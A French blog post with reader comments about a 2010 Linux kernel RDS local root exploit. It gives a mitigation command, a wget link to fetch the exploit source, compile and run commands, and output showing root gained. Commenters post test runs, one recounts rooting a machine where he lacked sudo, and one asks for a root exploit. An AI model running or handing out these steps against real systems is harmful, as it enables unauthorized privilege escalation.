Local Root Exploit : Linux RDS Protocol Privilege Escalation


Black Hat
Une nouvelle faille de sécurité vient d'être découverte dans le noyau Linux et plus particulièrement dans le protocole Reliable Datagram Sockets (RDS). L'exploit permet ainsi à un simple utilisateur de passer root sur une machine. La vulnérabilité affecte les distributions Linux basées sur les versions 2.6.30 à 2.6.36-rc8 du kernel.

Pour contrer cette attaque, vous pouvez soit mettre à jour son système, soit désactiver le module RDS à l'aide de cette commande :

echo "alias net-pf-21 off" > /etc/modprobe.d/disable-rds

Voici un exemple d'utilisation de l'exploit :

wget www.tux-planet.fr/public/hack/exploits/kernel/linux-rds-exploit.c
gcc -o linux-rds-exploit linux-rds-exploit.c

Ensuite, on exécutera ce dernier comme ceci :

$ ./linux-rds-exploit
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xf7d2e518
[+] Resolved rds_ioctl to 0xf7d29000
[+] Resolved commit_creds to 0xc0450a6f
[+] Resolved prepare_kernel_cred to 0xc045097a
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
[*] Got root!

sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)

J'ai constaté que l'exploit fonctionne à merveille sur une Fedora 13 (noyau 2.6.34.7-56) et Ubuntu 10.10 (noyau 2.6.35-22-generic-pae). En revanche, il ne marche pas sur Red Hat et CentOS, le noyau étant actuellement en version 2.6.18.

Sinon, une fois n'est pas coutume, c'est encore Linus Torvalds qui a pris le problème en charge et a proposé un correctif très rapidement.


30 Commentaires pour "Local Root Exploit : Linux RDS Protocol Privilege Escalation"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    Sur une ubuntu 10.04:

    arny@edison:/tmp$ ./linux-rds-exploit
    [*] Linux kernel >= 2.6.30 RDS socket exploit
    [*] by Dan Rosenberg
    [*] Resolving kernel addresses...
    [+] Resolved rds_proto_ops to 0xfd4cd9c0
    [+] Resolved rds_ioctl to 0xfd4c7090
    [+] Resolved commit_creds to 0xc016dfe0
    [+] Resolved prepare_kernel_cred to 0xc016e320
    [*] Overwriting function pointer...
    [*] Triggering payload...
    [*] Restoring function pointer...
    [*] Exploit failed to get root.

    Linux edison 2.6.32-25-generic #45-Ubuntu SMP Sat Oct 16 19:48:22 UTC 2010 i686 GNU/Linux

    RépondreRépondre
    ArnY , le 22 octobre 2010 à 19:11
  •  

    kane@machine:/tmp$ wget http://www.tux-planet.fr/public/hack/exploits/kernel/linux-rds-exploit.c

    kane@machine:/tmp$ nano linux-rds-exploit.c
    kane@machine:/tmp$ gcc -o linux-rds-exploit linux-rds-exploit.c
    kane@machine:/tmp$ ./linux-rds-exploit
    [*] Linux kernel >= 2.6.30 RDS socket exploit
    [*] by Dan Rosenberg
    [*] Resolving kernel addresses...
    [+] Resolved rds_proto_ops to 0xffffffffa05ba900
    [+] Resolved rds_ioctl to 0xffffffffa05b3000
    [+] Resolved commit_creds to 0xffffffff810863b0
    [+] Resolved prepare_kernel_cred to 0xffffffff81086880
    [*] Overwriting function pointer...
    [*] Triggering payload...
    [*] Restoring function pointer...
    [*] Exploit failed to get root.
    kane@machine:/tmp$ uname -a
    Linux machine 2.6.35-22-generic #35-Ubuntu SMP Sat Oct 16 20:45:36 UTC 2010 x86_64 GNU/Linux

    Kubuntu desktop 64bits 10.04 updaté en 10.10
    Comment dire… FAIL !

    RépondreRépondre
    kane , le 22 octobre 2010 à 19:34
  •  

    Donc la faille est exploitable seulement avec un accès physique à la machine, pas en remote ?

    RépondreRépondre
    JackDaniels93 , le 22 octobre 2010 à 19:51
  •  

    Sur une debian squeeze 2.6.32-5-amd64

    ./linux-rds-exploit
    [*] Linux kernel >= 2.6.30 RDS socket exploit
    [*] by Dan Rosenberg
    [*] Resolving kernel addresses...
    [+] Resolved rds_ioctl to 0xffffffffa04e9000
    [+] Resolved commit_creds to 0xffffffff81069235
    [+] Resolved prepare_kernel_cred to 0xffffffff81069138
    [*] Failed to resolve kernel symbols.

    Résultat => Fail !

    RépondreRépondre
    Jake , le 22 octobre 2010 à 19:54
  •  

    Oui faudrait préciser que cette faille n'est pas exploitable à distance.

    RépondreRépondre
    inalgnu , le 22 octobre 2010 à 20:10
  •  

    C'est ce que signifie "local" dans Local Root Exploit :P

    RépondreRépondre
    ArnY , le 22 octobre 2010 à 20:17
  •  

    Sur une ubuntu 10.10 à jour

    richard@richard-desktop:~/Bureau$ ./linux-rds-exploit
    [*] Linux kernel >= 2.6.30 RDS socket exploit
    [*] by Dan Rosenberg
    [*] Resolving kernel addresses...
    [+] Resolved rds_proto_ops to 0xffffffffa0384900
    [+] Resolved rds_ioctl to 0xffffffffa037d000
    [+] Resolved commit_creds to 0xffffffff810863b0
    [+] Resolved prepare_kernel_cred to 0xffffffff81086880
    [*] Overwriting function pointer...
    [*] Triggering payload...
    [*] Restoring function pointer...
    [*] Exploit failed to get root.
    richard@richard-desktop:~/Bureau$ uname -r
    2.6.35-22-generic

    RépondreRépondre
    Richard , le 22 octobre 2010 à 20:21
  •  

    Ne fonctionne pas sous Arch
    Linux desktop 2.6.35-ARCH

    RépondreRépondre
    wido , le 22 octobre 2010 à 21:12
  •  

    [*] Linux kernel >= 2.6.30 RDS socket exploit
    [*] by Dan Rosenberg
    [*] Could not open socket.

    sur une Debian avec kernel issu d'un package 2.6.30-2-686-bigmem

    RépondreRépondre
    Wallace , le 22 octobre 2010 à 21:14
  •  

    @wido : ça dépend de ta version de kernel.

    RépondreRépondre
    Olol_GiveMeMilk , le 22 octobre 2010 à 21:28
  •  

    actuellement c'est la: 2.6.35.7-1

    $ /home/wido/exploit
    [*] Linux kernel >= 2.6.30 RDS socket exploit
    [*] by Dan Rosenberg
    [*] Resolving kernel addresses...
    [+] Resolved rds_ioctl to 0xffffffffa049c000
    [+] Resolved commit_creds to 0xffffffff81078030
    [+] Resolved prepare_kernel_cred to 0xffffffff81078470
    [*] Failed to resolve kernel symbols.

    RépondreRépondre
    wido , le 22 octobre 2010 à 21:35
  •  

    En effet.

    Call trans opt: received. 22-10-10 21:39:16 REC:sam/Veridian ~
    -> ./linux-rds-exploit
    [*] Linux kernel >= 2.6.30 RDS socket exploit
    [*] by Dan Rosenberg
    [*] Resolving kernel addresses...
    [+] Resolved rds_ioctl to 0xf81b7000
    [+] Resolved commit_creds to 0xc1065030
    [+] Resolved prepare_kernel_cred to 0xc10653d0
    [*] Failed to resolve kernel symbols.

    Call trans opt: received. 22-10-10 21:39:23 REC:sam/Veridian ~
    -> uname -r
    2.6.35-ARCH

    RépondreRépondre
    Olol_GiveMeMilk , le 22 octobre 2010 à 21:41
  •  

    Je viens de mettre à jour mon Ubuntu, la version de mon kernel n'a pas changé, mais maintenant j'obtiens le message suivant : "Exploit failed to get root".

    Donc pour résumer, l'exploit marche uniquement sous Fedora 13 et Ubuntu 10.10 (non mis à jour). Ce qui limite son champ d'action.

    RépondreRépondre
    pti-seb , le 22 octobre 2010 à 23:09
  •  

    Sinon une astuce que j'utilise souvent pour tester les failles :

    1- vous installez Virtualbox
    2- vous téléchargez une ISO d'Ubutu
    3- vous bootez dessus en mode livecd avec Virtualbox (sans faire de mise à jour)

    Ensuite on peut tester l'exploit sans problème. Comme quoi les mise à jour c'est important.

    Sinon, oui il s'agit d'un exploit uniquement en locale. D'où le nom anglais "Local Root exploit". Je crois que certaines personnes font allusion à ce que l'on a pu lire chez Korben il y a quelques jours. Je cite :

    Nos amis les anonymous, alias un-peu-n'importe-qui ont déclaré qu'ils disposaient d'un 0day sur le kernel Linux, c'est à dire un exploit pour une faille de sécurité, qui leur permettrait d'accéder à n'importe quel serveur en tant que root. Cette faille se situerait au niveau de l'implémentation de la pile TCP/IP et du protocole IPv6 et le hic, vous l'aurez compris, c'est que cette faille, si elle existe, n'est pas encore patchée.

    Je pense qu'il s'agit de la même faille, par contre, elle n'a rien avoir avec la pile TCP/IP du protocole IPv6 et n'est donc pas utilisable à distance. Un coup de bluff de la part des anonymous ... ?

    RépondreRépondre
    pti-seb , le 22 octobre 2010 à 23:14
  •  

    Ne fonctionne pas sous Archlinux, reste à savoir si cela est causé par l'exploit qui serait mal codé ou si cela provient d'une customisation du kernel.

    [nassim@BlueIcefield ~]$ ./linux-rds-exploit
    [*] Linux kernel >= 2.6.30 RDS socket exploit
    [*] by Dan Rosenberg
    [*] Resolving kernel addresses...
    [+] Resolved rds_ioctl to 0xf8761000
    [+] Resolved commit_creds to 0xc1065030
    [+] Resolved prepare_kernel_cred to 0xc10653d0
    [*] Failed to resolve kernel symbols.
    [nassim@BlueIcefield ~]$ uname -r
    2.6.35-ARCH

    RépondreRépondre
    BlueIcefield , le 22 octobre 2010 à 23:25
  •  

    Donc en fait cet exploit local a déjà été patché sur un peu toutes les distrib… intéressant…

    RépondreRépondre
    kane , le 22 octobre 2010 à 23:29
  •  

    @pti-seb : Personnellement, sur mes machines je désactive l'IPv6 car le protocole IPv4 me suffit amplement pour le moment ^^

    RépondreRépondre
    BlueIcefield , le 22 octobre 2010 à 23:29
  •  

    @kane : la faille a été divulguée il a deux jours. J'ai un peu de retard pour un fois et pas mal de distributions ont déjà patchée visiblement.

    RépondreRépondre
    pti-seb , le 22 octobre 2010 à 23:31
  •  

    @pti-seb : Clairement… on est pas chez Microsoft ! XD

    RépondreRépondre
    kane , le 22 octobre 2010 à 23:54
  •  

    @pti-seb : Ah c'était donc ça l'update du kernel sur Ubuntu 10.10 (il y a 2 jours en gros) :D

    RépondreRépondre
    Guillaume , le 23 octobre 2010 à 09:25
  •  

    Pas de soucis sous Gentoo non plus :
    $ uname -r
    2.6.36-gentoo
    $ ./linux-rds-exploit
    [*] Linux kernel >= 2.6.30 RDS socket exploit
    [*] by Dan Rosenberg
    [*] Could not open socket.
    $

    RépondreRépondre
    Droïde , le 23 octobre 2010 à 09:53
  •  

    @Droïde : T'es parti d'une stage 1, 2 ou 3 ?

    RépondreRépondre
    kane , le 23 octobre 2010 à 09:55
  •  

    @kane : stage3, mais c'est mon système courant (pas de VM comme la présenter pti-seb) donc à jour, et pour le noyau, il est avec les options dont j'ai besoin, rien de plus.

    RépondreRépondre
    Droïde , le 23 octobre 2010 à 09:57
  •  

    Effectivement, rien à craindre pour les Gentooistes et Funtooistes, je pense que le RDS est déactiver :

    $ ./linux-rds-exploit.o
    [*] Linux kernel >= 2.6.30 RDS socket exploit
    [*] by Dan Rosenberg
    [*] Could not open socket.

    $ uname -r
    2.6.34-gentoo-r6

    RépondreRépondre
    HappiMeal , le 23 octobre 2010 à 13:55
  •  

    Bonjour !

    le script prend bien le controle en tant que root sur une fedora 13.

    Par contre, se qui fait un peu peur, c'est qu'après mise à jour et désactivation du module RDS le script arrive toujours à prendre la main en root !

    RépondreRépondre
    turbo-gus , le 23 octobre 2010 à 21:18
  •  

    salut
    je plussoie turbo-gus... sur un ubuntu server 9.10 avec kernel 2.6.31-20, la faille fonctionne.
    je désactive donc le module rds
    > modprobe -r rds
    je reteste.... ça fonctionne toujours !
    donc la seule parade est de mettre à jour.

    RépondreRépondre
    Dju , le 24 octobre 2010 à 19:14
  •  

    L'exploit fonctionne sur Fedora 14 x86_64
    En même temps je ne m'inquiète pas, il faut déjà qu'un utilisateur malveillant arrive à se connecter sur ma machine (ce qui est sûrement l'étape la plus difficile).

    RépondreRépondre
    Maniatux , le 27 octobre 2010 à 10:40
  •  

    Vu sur :

    http://voxnucleus.fr/post/101106Faillelinux

    Sympathique cette faille... Il faudra que je l'essaie !

    RépondreRépondre
    Pierre , le 6 novembre 2010 à 17:20
  •  

    Superbe !
    J'étais coincé avec une machine récalcitrante. L'utilisateur auquel j'avais accès (en ssh) ne faisait pas parti des sudoers...
    Et là, j'ai repensé à cet article que j'avais vu passer (merci la veille ^^)

    Un grand merci Seb !!! Vraiment !!!

    --EDIT
    Et ensuite, j'ai mis la machine à jour ;)

    RépondreRépondre
    Chibani , le 15 novembre 2010 à 23:47
  •  

    sh-3.2$ uname -a
    Linux vm1347.cs14.seeweb.it 2.6.18-274.3.1.el5 #1 SMP Tue Sep 6 20:13:52 EDT 2011 x86_64 x86_64 x86_64 GNU/Linux

    anyone have root exploit? pls

    RépondreRépondre
    c0sss , le 22 mars 2013 à 22:25
 

Ajouter un commentaire

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité red hat redhat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum